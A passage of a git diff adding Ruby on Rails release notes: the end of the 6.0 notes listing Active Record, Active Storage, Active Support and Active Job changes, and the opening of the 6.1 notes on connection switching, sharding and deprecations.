+    ([Pull Request](https://github.com/rails/rails/pull/28078))
+
+*   Allow a permitted instance of `ActionController::Parameters` to be passed as an
+    argument to `ActiveRecord::Relation#exists?`.
+    ([Pull Request](https://github.com/rails/rails/pull/34891))
+
+*   Add support in `#where` for endless ranges introduced in Ruby 2.6.
+    ([Pull Request](https://github.com/rails/rails/pull/34906))
+
+*   Make `ROW_FORMAT=DYNAMIC` a default create table option for MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/34742))
+
+*   Add the ability to disable scopes generated by `ActiveRecord.enum`.
+    ([Pull Request](https://github.com/rails/rails/pull/34605))
+
+*   Make implicit ordering configurable for a column.
+    ([Pull Request](https://github.com/rails/rails/pull/34480))
+
+*   Bump the minimum PostgreSQL version to 9.3, dropping support for 9.1 and 9.2.
+    ([Pull Request](https://github.com/rails/rails/pull/34520))
+
+*   Make the values of an enum frozen, raising an error when attempting to modify them.
+    ([Pull Request](https://github.com/rails/rails/pull/34517))
+
+*   Make the SQL of `ActiveRecord::StatementInvalid` errors its own error property
+    and include SQL binds as a separate error property.
+    ([Pull Request](https://github.com/rails/rails/pull/34468))
+
+*   Add an `:if_not_exists` option to `create_table`.
+    ([Pull Request](https://github.com/rails/rails/pull/31382))
+
+*   Add support for multiple databases to `rails db:schema:cache:dump`
+    and `rails db:schema:cache:clear`.
+    ([Pull Request](https://github.com/rails/rails/pull/34181))
+
+*   Add support for hash and url configs in database hash of `ActiveRecord::Base.connected_to`.
+    ([Pull Request](https://github.com/rails/rails/pull/34196))
+
+*   Add support for default expressions and expression indexes for MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/34307))
+
+*   Add an `index` option for `change_table` migration helpers.
+    ([Pull Request](https://github.com/rails/rails/pull/23593))
+
+*   Fix `transaction` reverting for migrations. Previously, commands inside of a `transaction`
+    in a reverted migration ran uninverted. This change fixes that.
+    ([Pull Request](https://github.com/rails/rails/pull/31604))
+
+*   Allow `ActiveRecord::Base.configurations=` to be set with a symbolized hash.
+    ([Pull Request](https://github.com/rails/rails/pull/33968))
+
+*   Fix the counter cache to only update if the record is actually saved.
+    ([Pull Request](https://github.com/rails/rails/pull/33913))
+
+*   Add expression indexes support for the SQLite adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/33874))
+
+*   Allow subclasses to redefine autosave callbacks for associated records.
+    ([Pull Request](https://github.com/rails/rails/pull/33378))
+
+*   Bump the minimum MySQL version to 5.5.8.
+    ([Pull Request](https://github.com/rails/rails/pull/33853))
+
+*   Use the utf8mb4 character set by default in MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/33608))
+
+*   Add the ability to filter out sensitive data in `#inspect`
+    ([Pull Request](https://github.com/rails/rails/pull/33756), [Pull Request](https://github.com/rails/rails/pull/34208))
+
+*   Change `ActiveRecord::Base.configurations` to return an object instead of a hash.
+    ([Pull Request](https://github.com/rails/rails/pull/33637))
+
+*   Add database configuration to disable advisory locks.
+    ([Pull Request](https://github.com/rails/rails/pull/33691))
+
+*   Update SQLite3 adapter `alter_table` method to restore foreign keys.
+    ([Pull Request](https://github.com/rails/rails/pull/33585))
+
+*   Allow the `:to_table` option of `remove_foreign_key` to be invertible.
+    ([Pull Request](https://github.com/rails/rails/pull/33530))
+
+*   Fix default value for MySQL time types with specified precision.
+    ([Pull Request](https://github.com/rails/rails/pull/33280))
+
+*   Fix the `touch` option to behave consistently with `Persistence#touch` method.
+    ([Pull Request](https://github.com/rails/rails/pull/33107))
+
+*   Raise an exception for duplicate column definitions in Migrations.
+    ([Pull Request](https://github.com/rails/rails/pull/33029))
+
+*   Bump the minimum SQLite version to 3.8.
+    ([Pull Request](https://github.com/rails/rails/pull/32923))
+
+*   Fix parent records to not get saved with duplicate children records.
+    ([Pull Request](https://github.com/rails/rails/pull/32952))
+
+*   Ensure `Associations::CollectionAssociation#size` and `Associations::CollectionAssociation#empty?`
+    use loaded association ids if present.
+    ([Pull Request](https://github.com/rails/rails/pull/32617))
+
+*   Add support to preload associations of polymorphic associations when not all the records have the requested associations.
+    ([Commit](https://github.com/rails/rails/commit/75ef18c67c29b1b51314b6c8a963cee53394080b))
+
+*   Add `touch_all` method to `ActiveRecord::Relation`.
+    ([Pull Request](https://github.com/rails/rails/pull/31513))
+
+*   Add `ActiveRecord::Base.base_class?` predicate.
+    ([Pull Request](https://github.com/rails/rails/pull/32417))
+
+*   Add custom prefix/suffix options to `ActiveRecord::Store.store_accessor`.
+    ([Pull Request](https://github.com/rails/rails/pull/32306))
+
+*   Add `ActiveRecord::Base.create_or_find_by`/`!` to deal with the SELECT/INSERT race condition in
+    `ActiveRecord::Base.find_or_create_by`/`!` by leaning on unique constraints in the database.
+    ([Pull Request](https://github.com/rails/rails/pull/31989))
+
+*   Add `Relation#pick` as short-hand for single-value plucks.
+    ([Pull Request](https://github.com/rails/rails/pull/31941))
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+*   Deprecate  `config.active_storage.queue` in favor of `config.active_storage.queues.analysis`
+    and `config.active_storage.queues.purge`.
+    ([Pull Request](https://github.com/rails/rails/pull/34838))
+
+*   Deprecate `ActiveStorage::Downloading` in favor of `ActiveStorage::Blob#open`.
+    ([Commit](https://github.com/rails/rails/commit/ee21b7c2eb64def8f00887a9fafbd77b85f464f1))
+
+*   Deprecate using `mini_magick` directly for generating image variants in favor of
+    `image_processing`.
+    ([Commit](https://github.com/rails/rails/commit/697f4a93ad386f9fb7795f0ba68f815f16ebad0f))
+
+*   Deprecate `:combine_options` in Active Storage's ImageProcessing transformer
+    without replacement.
+    ([Commit](https://github.com/rails/rails/commit/697f4a93ad386f9fb7795f0ba68f815f16ebad0f))
+
+### Notable changes
+
+*   Add support for generating BMP image variants.
+    ([Pull Request](https://github.com/rails/rails/pull/36051))
+
+*   Add support for generating TIFF image variants.
+    ([Pull Request](https://github.com/rails/rails/pull/34824))
+
+*   Add support for generating progressive JPEG image variants.
+    ([Pull Request](https://github.com/rails/rails/pull/34455))
+
+*   Add `ActiveStorage.routes_prefix` for configuring the Active Storage generated routes.
+    ([Pull Request](https://github.com/rails/rails/pull/33883))
+
+*   Generate a 404 Not Found response on `ActiveStorage::DiskController#show` when
+    the requested file is missing from the disk service.
+    ([Pull Request](https://github.com/rails/rails/pull/33666))
+
+*   Raise `ActiveStorage::FileNotFoundError` when the requested file is missing for
+    `ActiveStorage::Blob#download` and `ActiveStorage::Blob#open`.
+    ([Pull Request](https://github.com/rails/rails/pull/33666))
+
+*   Add a generic `ActiveStorage::Error` class that Active Storage exceptions inherit from.
+    ([Commit](https://github.com/rails/rails/commit/18425b837149bc0d50f8d5349e1091a623762d6b))
+
+*   Persist uploaded files assigned to a record to storage when the record
+    is saved instead of immediately.
+    ([Pull Request](https://github.com/rails/rails/pull/33303))
+
+*   Optionally replace existing files instead of adding to them when assigning to
+    a collection of attachments (as in `@user.update!(images: [ … ])`). Use
+    `config.active_storage.replace_on_assign_to_many` to control this behavior.
+    ([Pull Request](https://github.com/rails/rails/pull/33303),
+     [Pull Request](https://github.com/rails/rails/pull/36716))
+
+*   Add the ability to reflect on defined attachments using the existing
+    Active Record reflection mechanism.
+    ([Pull Request](https://github.com/rails/rails/pull/33018))
+
+*   Add `ActiveStorage::Blob#open`, which downloads a blob to a tempfile on disk
+    and yields the tempfile.
+    ([Commit](https://github.com/rails/rails/commit/ee21b7c2eb64def8f00887a9fafbd77b85f464f1))
+
+*   Support streaming downloads from Google Cloud Storage. Require version 1.11+
+    of the `google-cloud-storage` gem.
+    ([Pull Request](https://github.com/rails/rails/pull/32788))
+
+*   Use the `image_processing` gem for Active Storage variants. This replaces using
+    `mini_magick` directly.
+    ([Pull Request](https://github.com/rails/rails/pull/32471))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+*   Add a configuration option to customize format of the `ActiveModel::Errors#full_message`.
+    ([Pull Request](https://github.com/rails/rails/pull/32956))
+
+*   Add support for configuring attribute name for `has_secure_password`.
+    ([Pull Request](https://github.com/rails/rails/pull/26764))
+
+*   Add `#slice!` method to `ActiveModel::Errors`.
+    ([Pull Request](https://github.com/rails/rails/pull/34489))
+
+*   Add `ActiveModel::Errors#of_kind?` to check presence of a specific error.
+    ([Pull Request](https://github.com/rails/rails/pull/34866))
+
+*   Fix `ActiveModel::Serializers::JSON#as_json` method for timestamps.
+    ([Pull Request](https://github.com/rails/rails/pull/31503))
+
+*   Fix numericality validator to still use value before type cast except Active Record.
+    ([Pull Request](https://github.com/rails/rails/pull/33654))
+
+*   Fix numericality equality validation of `BigDecimal` and `Float`
+    by casting to `BigDecimal` on both ends of the validation.
+    ([Pull Request](https://github.com/rails/rails/pull/32852))
+
+*   Fix year value when casting a multiparameter time hash.
+    ([Pull Request](https://github.com/rails/rails/pull/34990))
+
+*   Type cast falsy boolean symbols on boolean attribute as false.
+    ([Pull Request](https://github.com/rails/rails/pull/35794))
+
+*   Return correct date while converting parameters in `value_from_multiparameter_assignment`
+    for `ActiveModel::Type::Date`.
+    ([Pull Request](https://github.com/rails/rails/pull/29651))
+
+*   Fall back to parent locale before falling back to the `:errors` namespace while fetching
+    error translations.
+    ([Pull Request](https://github.com/rails/rails/pull/35424))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `#acronym_regex` method from `Inflections`.
+    ([Commit](https://github.com/rails/rails/commit/0ce67d3cd6d1b7b9576b07fecae3dd5b422a5689))
+
+*   Remove deprecated `Module#reachable?` method.
+    ([Commit](https://github.com/rails/rails/commit/6eb1d56a333fd2015610d31793ed6281acd66551))
+
+*   Remove `` Kernel#` `` without any replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/31253))
+
+### Deprecations
+
+*   Deprecate using negative integer arguments for `String#first` and
+    `String#last`.
+    ([Pull Request](https://github.com/rails/rails/pull/33058))
+
+*   Deprecate `ActiveSupport::Multibyte::Unicode#downcase/upcase/swapcase`
+    in favor of `String#downcase/upcase/swapcase`.
+    ([Pull Request](https://github.com/rails/rails/pull/34123))
+
+*   Deprecate `ActiveSupport::Multibyte::Unicode#normalize`
+    and `ActiveSupport::Multibyte::Chars#normalize` in favor of
+    `String#unicode_normalize`.
+    ([Pull Request](https://github.com/rails/rails/pull/34202))
+
+*   Deprecate `ActiveSupport::Multibyte::Chars.consumes?` in favor of
+    `String#is_utf8?`.
+    ([Pull Request](https://github.com/rails/rails/pull/34215))
+
+*   Deprecate `ActiveSupport::Multibyte::Unicode#pack_graphemes(array)`
+    and `ActiveSupport::Multibyte::Unicode#unpack_graphemes(string)`
+    in favor of `array.flatten.pack("U*")` and `string.scan(/\X/).map(&:codepoints)`,
+    respectively.
+    ([Pull Request](https://github.com/rails/rails/pull/34254))
+
+### Notable changes
+
+*   Add support for parallel testing.
+    ([Pull Request](https://github.com/rails/rails/pull/31900))
+
+*   Make sure that `String#strip_heredoc` preserves frozen-ness of strings.
+    ([Pull Request](https://github.com/rails/rails/pull/32037))
+
+*   Add `String#truncate_bytes` to truncate a string to a maximum bytesize
+    without breaking multibyte characters or grapheme clusters.
+    ([Pull Request](https://github.com/rails/rails/pull/27319))
+
+*   Add `private` option to `delegate` method in order to delegate to
+    private methods. This option accepts `true/false` as the value.
+    ([Pull Request](https://github.com/rails/rails/pull/31944))
+
+*   Add support for translations through I18n for `ActiveSupport::Inflector#ordinal`
+    and `ActiveSupport::Inflector#ordinalize`.
+    ([Pull Request](https://github.com/rails/rails/pull/32168))
+
+*   Add `before?` and `after?` methods to `Date`, `DateTime`,
+    `Time`, and `TimeWithZone`.
+    ([Pull Request](https://github.com/rails/rails/pull/32185))
+
+*   Fix bug where `URI.unescape` would fail with mixed Unicode/escaped character
+    input.
+    ([Pull Request](https://github.com/rails/rails/pull/32183))
+
+*   Fix bug where `ActiveSupport::Cache` would massively inflate the storage
+    size when compression was enabled.
+    ([Pull Request](https://github.com/rails/rails/pull/32539))
+
+*   Redis cache store: `delete_matched` no longer blocks the Redis server.
+    ([Pull Request](https://github.com/rails/rails/pull/32614))
+
+*   Fix bug where `ActiveSupport::TimeZone.all` would fail when tzinfo data for
+    any timezone defined in `ActiveSupport::TimeZone::MAPPING` was missing.
+    ([Pull Request](https://github.com/rails/rails/pull/32613))
+
+*   Add `Enumerable#index_with` which allows creating a hash from an enumerable
+    with the value from a passed block or a default argument.
+    ([Pull Request](https://github.com/rails/rails/pull/32523))
+
+*   Allow `Range#===` and `Range#cover?` methods to work with `Range` argument.
+    ([Pull Request](https://github.com/rails/rails/pull/32938))
+
+*   Support key expiry in `increment/decrement` operations of RedisCacheStore.
+    ([Pull Request](https://github.com/rails/rails/pull/33254))
+
+*   Add cpu time, idle time, and allocations features to log subscriber events.
+    ([Pull Request](https://github.com/rails/rails/pull/33449))
+
+*   Add support for event object to the Active Support notification system.
+    ([Pull Request](https://github.com/rails/rails/pull/33451))
+
+*   Add support for not caching `nil` entries by introducing new option `skip_nil`
+    for `ActiveSupport::Cache#fetch`.
+    ([Pull Request](https://github.com/rails/rails/pull/25437))
+
+*   Add `Array#extract!` method which removes and returns the elements for which
+    block returns a true value.
+    ([Pull Request](https://github.com/rails/rails/pull/33137))
+
+*   Keep an HTML-safe string HTML-safe after slicing.
+    ([Pull Request](https://github.com/rails/rails/pull/33808))
+
+*   Add support for tracing constant autoloads via logging.
+    ([Commit](https://github.com/rails/rails/commit/c03bba4f1f03bad7dc034af555b7f2b329cf76f5))
+
+*   Define `unfreeze_time` as an alias of `travel_back`.
+    ([Pull Request](https://github.com/rails/rails/pull/33813))
+
+*   Change `ActiveSupport::TaggedLogging.new` to return a new logger instance
+    instead of mutating the one received as argument.
+    ([Pull Request](https://github.com/rails/rails/pull/27792))
+
+*   Treat `#delete_prefix`, `#delete_suffix` and `#unicode_normalize` methods
+    as non HTML-safe methods.
+    ([Pull Request](https://github.com/rails/rails/pull/33990))
+
+*   Fix bug where `#without` for `ActiveSupport::HashWithIndifferentAccess`
+    would fail with symbol arguments.
+    ([Pull Request](https://github.com/rails/rails/pull/34012))
+
+*   Rename `Module#parent`, `Module#parents`, and `Module#parent_name` to
+    `module_parent`, `module_parents`, and `module_parent_name`.
+    ([Pull Request](https://github.com/rails/rails/pull/34051))
+
+*   Add `ActiveSupport::ParameterFilter`.
+    ([Pull Request](https://github.com/rails/rails/pull/34039))
+
+*   Fix issue where duration was being rounded to a full second when a float
+    was added to the duration.
+    ([Pull Request](https://github.com/rails/rails/pull/34135))
+
+*   Make `#to_options` an alias for `#symbolize_keys` in
+    `ActiveSupport::HashWithIndifferentAccess`.
+    ([Pull Request](https://github.com/rails/rails/pull/34360))
+
+*   Don't raise an exception anymore if the same block is included multiple times
+    for a Concern.
+    ([Pull Request](https://github.com/rails/rails/pull/34553))
+
+*   Preserve key order passed to `ActiveSupport::CacheStore#fetch_multi`.
+    ([Pull Request](https://github.com/rails/rails/pull/34700))
+
+*   Fix `String#safe_constantize` to not throw a `LoadError` for incorrectly
+    cased constant references.
+    ([Pull Request](https://github.com/rails/rails/pull/34892))
+
+*   Add `Hash#deep_transform_values` and `Hash#deep_transform_values!`.
+    ([Commit](https://github.com/rails/rails/commit/b8dc06b8fdc16874160f61dcf58743fcc10e57db))
+
+*   Add `ActiveSupport::HashWithIndifferentAccess#assoc`.
+    ([Pull Request](https://github.com/rails/rails/pull/35080))
+
+*   Add `before_reset` callback to `CurrentAttributes` and define
+    `after_reset` as an alias of `resets` for symmetry.
+    ([Pull Request](https://github.com/rails/rails/pull/35063))
+
+*   Revise `ActiveSupport::Notifications.unsubscribe` to correctly
+    handle Regex or other multiple-pattern subscribers.
+    ([Pull Request](https://github.com/rails/rails/pull/32861))
+
+*   Add new autoloading mechanism using Zeitwerk.
+    ([Commit](https://github.com/rails/rails/commit/e53430fa9af239e21e11548499d814f540d421e5))
+
+*   Add `Array#including` and `Enumerable#including` to conveniently enlarge
+    a collection.
+    ([Commit](https://github.com/rails/rails/commit/bfaa3091c3c32b5980a614ef0f7b39cbf83f6db3))
+
+*   Rename `Array#without` and `Enumerable#without` to `Array#excluding`
+    and `Enumerable#excluding`. Old method names are retained as aliases.
+    ([Commit](https://github.com/rails/rails/commit/bfaa3091c3c32b5980a614ef0f7b39cbf83f6db3))
+
+*   Add support for supplying `locale` to `transliterate` and `parameterize`.
+    ([Pull Request](https://github.com/rails/rails/pull/35571))
+
+*   Fix `Time#advance` to work with dates before 1001-03-07.
+    ([Pull Request](https://github.com/rails/rails/pull/35659))
+
+*   Update `ActiveSupport::Notifications::Instrumenter#instrument` to allow
+    not passing block.
+    ([Pull Request](https://github.com/rails/rails/pull/35705))
+
+*   Use weak references in descendants tracker to allow anonymous subclasses to
+    be garbage collected.
+    ([Pull Request](https://github.com/rails/rails/pull/31442))
+
+*   Calling test methods with `with_info_handler` method to allow minitest-hooks
+    plugin to work.
+    ([Commit](https://github.com/rails/rails/commit/758ba117a008b6ea2d3b92c53b6a7a8d7ccbca69))
+
+*   Preserve `html_safe?` status on `ActiveSupport::SafeBuffer#*`.
+    ([Pull Request](https://github.com/rails/rails/pull/36012))
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Remove support for Qu gem.
+    ([Pull Request](https://github.com/rails/rails/pull/32300))
+
+### Deprecations
+
+### Notable changes
+
+*   Add support for custom serializers for Active Job arguments.
+    ([Pull Request](https://github.com/rails/rails/pull/30941))
+
+*   Add support for executing Active Jobs in the timezone in which
+    they were enqueued.
+    ([Pull Request](https://github.com/rails/rails/pull/32085))
+
+*   Allow passing multiple exceptions to `retry_on`/`discard_on`.
+    ([Commit](https://github.com/rails/rails/commit/3110caecbebdad7300daaf26bfdff39efda99e25))
+
+*   Allow calling `assert_enqueued_with` and `assert_enqueued_email_with` without a block.
+    ([Pull Request](https://github.com/rails/rails/pull/33258))
+
+*   Wrap the notifications for `enqueue` and `enqueue_at` in the `around_enqueue`
+    callback instead of `after_enqueue` callback.
+    ([Pull Request](https://github.com/rails/rails/pull/33171))
+
+*   Allow calling `perform_enqueued_jobs` without a block.
+    ([Pull Request](https://github.com/rails/rails/pull/33626))
+
+*   Allow calling `assert_performed_with` without a block.
+    ([Pull Request](https://github.com/rails/rails/pull/33635))
+
+*   Add `:queue` option to job assertions and helpers.
+    ([Pull Request](https://github.com/rails/rails/pull/33635))
+
+*   Add hooks to Active Job around retries and discards.
+    ([Pull Request](https://github.com/rails/rails/pull/33751))
+
+*   Add a way to test for subset of arguments when performing jobs.
+    ([Pull Request](https://github.com/rails/rails/pull/33995))
+
+*   Include deserialized arguments in jobs returned by Active Job
+    test helpers.
+    ([Pull Request](https://github.com/rails/rails/pull/34204))
+
+*   Allow Active Job assertion helpers to accept Proc for `only`
+    keyword.
+    ([Pull Request](https://github.com/rails/rails/pull/34339))
+
+*   Drop microseconds and nanoseconds from the job arguments in assertion helpers.
+    ([Pull Request](https://github.com/rails/rails/pull/35713))
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+*   Add Multiple Databases with Active Record guide.
+    ([Pull Request](https://github.com/rails/rails/pull/36389))
+
+*   Add a section about troubleshooting of autoloading constants.
+    ([Commit](https://github.com/rails/rails/commit/c03bba4f1f03bad7dc034af555b7f2b329cf76f5))
+
+*   Add Action Mailbox Basics guide.
+    ([Pull Request](https://github.com/rails/rails/pull/34812))
+
+*   Add Action Text Overview guide.
+    ([Pull Request](https://github.com/rails/rails/pull/34878))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/6-0-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/6-0-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/6-0-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/6-0-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/6-0-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/6-0-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/6-0-stable/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/6-0-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/6-0-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/6-0-stable/activejob/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/6-0-stable/guides/CHANGELOG.md
diff --git a/guides/source/6_1_release_notes.md b/guides/source/6_1_release_notes.md
new file mode 100644
index 0000000000000..e8d281889dde1
--- /dev/null
+++ b/guides/source/6_1_release_notes.md
@@ -0,0 +1,475 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 6.1 Release Notes
+===============================
+
+Highlights in Rails 6.1:
+
+* Per-database Connection Switching
+* Horizontal Sharding
+* Strict Loading Associations
+* Delegated Types
+* Destroy Associations Async
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/6-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 6.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 6.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 6.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-6-0-to-rails-6-1)
+guide.
+
+Major Features
+--------------
+
+### Per-database Connection Switching
+
+Rails 6.1 provides you with the ability to [switch connections per-database](https://github.com/rails/rails/pull/40370). In 6.0 if you switched to the `reading` role then all database connections also switched to the reading role. Now in 6.1 if you set `legacy_connection_handling` to `false` in your configuration, Rails will allow you to switch connections for a single database by calling `connected_to` on the corresponding abstract class.
+
+### Horizontal Sharding
+
+Rails 6.0 provided the ability to functionally partition (multiple partitions, different schemas) your database but wasn't able to support horizontal sharding (same schema, multiple partitions). Rails wasn't able to support horizontal sharding because models in Active Record could only have one connection per-role per-class. This is now fixed and [horizontal sharding](https://github.com/rails/rails/pull/38531) with Rails is available.
+
+### Strict Loading Associations
+
+[Strict loading associations](https://github.com/rails/rails/pull/37400) allows you to ensure that all
+your associations are loaded eagerly and stop N+1's before they happen.
+
+### Delegated Types
+
+[Delegated Types](https://github.com/rails/rails/pull/39341) is an alternative to single-table inheritance. This helps represent class hierarchies allowing the superclass to be a concrete class that is represented by its own table. Each subclass has its own table for additional attributes.
+
+### Destroy Associations Async
+
+[Destroy associations async](https://github.com/rails/rails/pull/40157) adds the ability for applications to `destroy` associations in a background job. This can help you avoid timeouts and other performance issues in your application when destroying data.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `rake notes` tasks.
+
+*   Remove deprecated `connection` option in the `rails dbconsole` command.
+
+*   Remove deprecated `SOURCE_ANNOTATION_DIRECTORIES` environment variable support from `rails notes`.
+
+*   Remove deprecated `server` argument from the rails server command.
+
+*   Remove deprecated support for using the `HOST` environment variable to specify the server IP.
+
+*   Remove deprecated `rake dev:cache` tasks.
+
+*   Remove deprecated `rake routes` tasks.
+
+*   Remove deprecated `rake initializers` tasks.
+
+### Deprecations
+
+### Notable changes
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActionDispatch::Http::ParameterFilter`.
+
+*   Remove deprecated `force_ssl` at the controller level.
+
+### Deprecations
+
+*   Deprecate `config.action_dispatch.return_only_media_type_on_content_type`.
+
+### Notable changes
+
+*   Change `ActionDispatch::Response#content_type` to return the full Content-Type header.
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `escape_whitelist` from `ActionView::Template::Handlers::ERB`.
+
+*   Remove deprecated `find_all_anywhere` from `ActionView::Resolver`.
+
+*   Remove deprecated `formats` from `ActionView::Template::HTML`.
+
+*   Remove deprecated `formats` from `ActionView::Template::RawFile`.
+
+*   Remove deprecated `formats` from `ActionView::Template::Text`.
+
+*   Remove deprecated `find_file` from `ActionView::PathSet`.
+
+*   Remove deprecated `rendered_format` from `ActionView::LookupContext`.
+
+*   Remove deprecated `find_file` from `ActionView::ViewPaths`.
+
+*   Remove deprecated support to pass an object that is not a `ActionView::LookupContext` as the first argument
+    in `ActionView::Base#initialize`.
+
+*   Remove deprecated `format` argument `ActionView::Base#initialize`.
+
+*   Remove deprecated `ActionView::Template#refresh`.
+
+*   Remove deprecated `ActionView::Template#original_encoding`.
+
+*   Remove deprecated `ActionView::Template#variants`.
+
+*   Remove deprecated `ActionView::Template#formats`.
+
+*   Remove deprecated `ActionView::Template#virtual_path=`.
+
+*   Remove deprecated `ActionView::Template#updated_at`.
+
+*   Remove deprecated `updated_at` argument required on `ActionView::Template#initialize`.
+
+*   Remove deprecated `ActionView::Template.finalize_compiled_template_methods`.
+
+*   Remove deprecated `config.action_view.finalize_compiled_template_methods`
+
+*   Remove deprecated support to calling `ActionView::ViewPaths#with_fallback` with a block.
+
+*   Remove deprecated support to passing absolute paths to `render template:`.
+
+*   Remove deprecated support to passing relative paths to `render file:`.
+
+*   Remove support to template handlers that don't accept two arguments.
+
+*   Remove deprecated pattern argument in `ActionView::Template::PathResolver`.
+
+*   Remove deprecated support to call private methods from object in some view helpers.
+
+### Deprecations
+
+### Notable changes
+
+*   Require that `ActionView::Base` subclasses implement `#compiled_method_container`.
+
+*   Make `locals` argument required on `ActionView::Template#initialize`.
+
+*   The `javascript_include_tag` and `stylesheet_link_tag` asset helpers generate a `link` header that gives hints to modern browsers about preloading assets. This can be disabled by setting `config.action_view.preload_links_header` to `false`.
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActionMailer::Base.receive` in favor of [Action Mailbox](https://github.com/rails/rails/tree/6-1-stable/actionmailbox).
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated methods from `ActiveRecord::ConnectionAdapters::DatabaseLimits`.
+
+    `column_name_length`
+    `table_name_length`
+    `columns_per_table`
+    `indexes_per_table`
+    `columns_per_multicolumn_index`
+    `sql_query_length`
+    `joins_per_query`
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_multi_insert?`.
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_foreign_keys_in_create?`.
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter#supports_ranges?`.
+
+*   Remove deprecated `ActiveRecord::Base#update_attributes` and `ActiveRecord::Base#update_attributes!`.
+
+*   Remove deprecated `migrations_path` argument in
+    `ActiveRecord::ConnectionAdapter::SchemaStatements#assume_migrated_upto_version`.
+
+*   Remove deprecated `config.active_record.sqlite3.represent_boolean_as_integer`.
+
+*   Remove deprecated methods from `ActiveRecord::DatabaseConfigurations`.
+
+    `fetch`
+    `each`
+    `first`
+    `values`
+    `[]=`
+
+*   Remove deprecated `ActiveRecord::Result#to_hash` method.
+
+*   Remove deprecated support for using unsafe raw SQL in `ActiveRecord::Relation` methods.
+
+### Deprecations
+
+*   Deprecate `ActiveRecord::Base.allow_unsafe_raw_sql`.
+
+*   Deprecate `database` kwarg on `connected_to`.
+
+*   Deprecate `connection_handlers` when `legacy_connection_handling` is set to false.
+
+### Notable changes
+
+*   MySQL: Uniqueness validator now respects default database collation,
+    no longer enforce case-sensitive comparison by default.
+
+*   `relation.create` does no longer leak scope to class-level querying methods
+    in initialization block and callbacks.
+
+    Before:
+
+    ```ruby
+    User.where(name: "John").create do |john|
+      User.find_by(name: "David") # => nil
+    end
+    ```
+
+    After:
+
+    ```ruby
+    User.where(name: "John").create do |john|
+      User.find_by(name: "David") # => #<User name: "David", ...>
+    end
+    ```
+
+*   Named scope chain does no longer leak scope to class-level querying methods.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      scope :david, -> { User.where(name: "David") }
+    end
+    ```
+
+    Before:
+
+    ```ruby
+    User.where(name: "John").david
+    # SELECT * FROM users WHERE name = 'John' AND name = 'David'
+    ```
+
+    After:
+
+    ```ruby
+    User.where(name: "John").david
+    # SELECT * FROM users WHERE name = 'David'
+    ```
+
+*   `where.not` now generates NAND predicates instead of NOR.
+
+    Before:
+
+    ```ruby
+    User.where.not(name: "Jon", role: "admin")
+    # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
+    ```
+
+    After:
+
+    ```ruby
+    User.where.not(name: "Jon", role: "admin")
+    # SELECT * FROM users WHERE NOT (name = 'Jon' AND role = 'admin')
+    ```
+
+*   To use the new per-database connection handling applications must change
+    `legacy_connection_handling` to false and remove deprecated accessors on
+    `connection_handlers`. Public methods for `connects_to` and `connected_to`
+    require no changes.
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+*   Remove deprecated support to pass `:combine_options` operations to `ActiveStorage::Transformers::ImageProcessing`.
+
